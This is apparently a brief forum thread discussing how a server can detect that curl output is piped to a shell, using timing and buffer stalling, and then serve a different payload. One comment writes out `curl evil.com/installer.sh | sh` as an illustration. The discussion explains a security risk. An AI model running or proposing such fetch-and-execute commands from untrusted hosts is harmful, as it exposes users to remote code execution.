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You can actually detect from the server side if curl is being piped and dynamically change the payload.
by sethammons 5y ago
You can actually detect from the server side if curl is being piped and dynamically change the payload.
- geofft 5y agoYes! I'm not sure how that changes what I'm saying. If you don't trust the server, it can give you a malicious ISO, too. Or are you saying that you audit the bits of the ISO yourself before burning it?
- throwaway2037 5y agoWoah. How? Assume scrubber request headers.
- namibj 5y agolatency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.